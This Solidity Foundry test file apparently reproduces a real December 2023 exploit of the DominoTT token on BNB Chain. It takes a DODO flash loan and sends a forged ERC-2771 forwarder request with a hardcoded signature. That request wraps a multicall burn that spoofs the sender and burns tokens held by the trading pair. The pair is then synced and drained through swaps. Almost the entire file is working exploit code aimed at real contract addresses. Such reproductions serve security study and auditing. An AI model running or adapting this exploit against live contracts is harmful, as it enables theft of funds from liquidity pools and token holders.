src/test/2023-12/DominoTT_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4// @KeyInfo - Total Lost : ~5 $WBNB
5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
6// Attack Contract : https://bscscan.com/address/0xaed80b8a821607981e5e58b7a753a3336c0bfd6f
7// Vulnerable Contract : https://bscscan.com/address/0x0dabdc92af35615443412a336344c591faed3f90
8// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x1ee617cd739b1afcc673a180e60b9a32ad3ba856226a68e8748d58fcccc877a8
9 
10import "forge-std/Test.sol";
11import "./../interface.sol";
12 
13interface IDPPAdvanced {
14    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
15}
16 
17interface IDominoTTWBNBN {
18    function sync() external;
19}
20 
21interface IForwarder {
22    struct ForwardRequest {
23        address from;
24        address to;
25        uint256 value;
26        uint256 gas;
27        uint256 nonce;
28        bytes data;
29    }
30 
31    function getNonce(
32        address from
33    ) external view returns (uint256);
34    function execute(ForwardRequest memory req, bytes memory signature) external payable returns (bool, bytes memory);
35}
36 
37interface IDominoTT is IERC20 {
38    function burn(
39        uint256 amount
40    ) external;
41    function multicall(
42        bytes[] memory data
43    ) external returns (bytes[] memory results);
44}
45 
46contract ContractTest is Test {
47    IDominoTT DominoTT = IDominoTT(0x0DaBDC92aF35615443412A336344c591FaEd3f90);
48    IForwarder Forwarder = IForwarder(0x7C4717039B89d5859c4Fbb85EDB19A6E2ce61171);
49    IDominoTTWBNBN Pair = IDominoTTWBNBN(0x4f34b914D687195A73318ccC58D56D242b4dCcF6);
50    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
51    IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
52    IDPPAdvanced DODO = IDPPAdvanced(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
53    address attacker = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
54 
55    function setUp() public {
56        vm.createSelectFork("bsc", 34_141_660 - 1);
57        vm.label(address(DominoTT), "DominoTT");
58    }
59 
60    function testExploit() public {
61        emit log_named_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)));
62        DominoTT.approve(address(Router), type(uint256).max);
63        WBNB.approve(address(Router), type(uint256).max);
64        DODO.flashLoan(0.5 * 1e18, 0, address(this), new bytes(1));
65        emit log_named_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)));
66    }
67 
68    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
69        require(msg.sender == address(DODO), "Fail");
70        WBNBTOTOKEN();
71 
72        uint256 amountToBurn = 1_970_000 * 1e18;
73        bytes[] memory datas = new bytes[](1);
74        datas[0] = abi.encodePacked(IDominoTT.burn.selector, amountToBurn, address(Pair));
75        bytes memory data_muliti = abi.encodeWithSelector(IDominoTT.multicall.selector, datas);
76 
77        IForwarder.ForwardRequest memory req = IForwarder.ForwardRequest({
78            from: attacker,
79            to: address(DominoTT),
80            value: 0,
81            gas: 5e6,
82            nonce: Forwarder.getNonce(attacker),
83            data: data_muliti
84        });
85        //bytes32 ethMessagessign =  toTypedDataHash(bytes32(0x99d026edad79cd8998e26685e38b0fe8e2b6a9a325835609c9e4aedb3056e1a0), keccak256(abi.encode(TYPEHASH, req.from, req.to, req.value, req.gas, req.nonce, keccak256(req.data))));
86        bytes32 r = 0xc065407074ef2e05acdd73a1b1c96c6fa4215c8298f1b78b549d6849e3d84e47;
87        bytes32 s = 0x5decf131b7477236ea72bb15dfb89ea226dff05cd173063e34fe9aea54e667f7;
88        uint8 v = 27;
89        bytes memory signature = abi.encodePacked(r, s, v);
90 
91        Forwarder.execute(req, signature);
92        Pair.sync();
93        TOKENTOWBNB();
94 
95        WBNB.transfer(address(DODO), 0.5 * 1e18);
96    }
97 
98    function WBNBTOTOKEN() internal {
99        address[] memory path = new address[](2);
100        path[0] = address(WBNB);
101        path[1] = address(DominoTT);
102        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
103            0.5 * 1e18, 0, path, address(this), block.timestamp
104        );
105    }
106 
107    function TOKENTOWBNB() internal {
108        address[] memory path = new address[](2);
109        path[0] = address(DominoTT);
110        path[1] = address(WBNB);
111        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
112            DominoTT.balanceOf(address(this)), 0, path, address(this), block.timestamp
113        );
114    }
115 
116    //function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
117    //    return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
118    //}
119 
120    fallback() external payable {}
121    receive() external payable {}
122}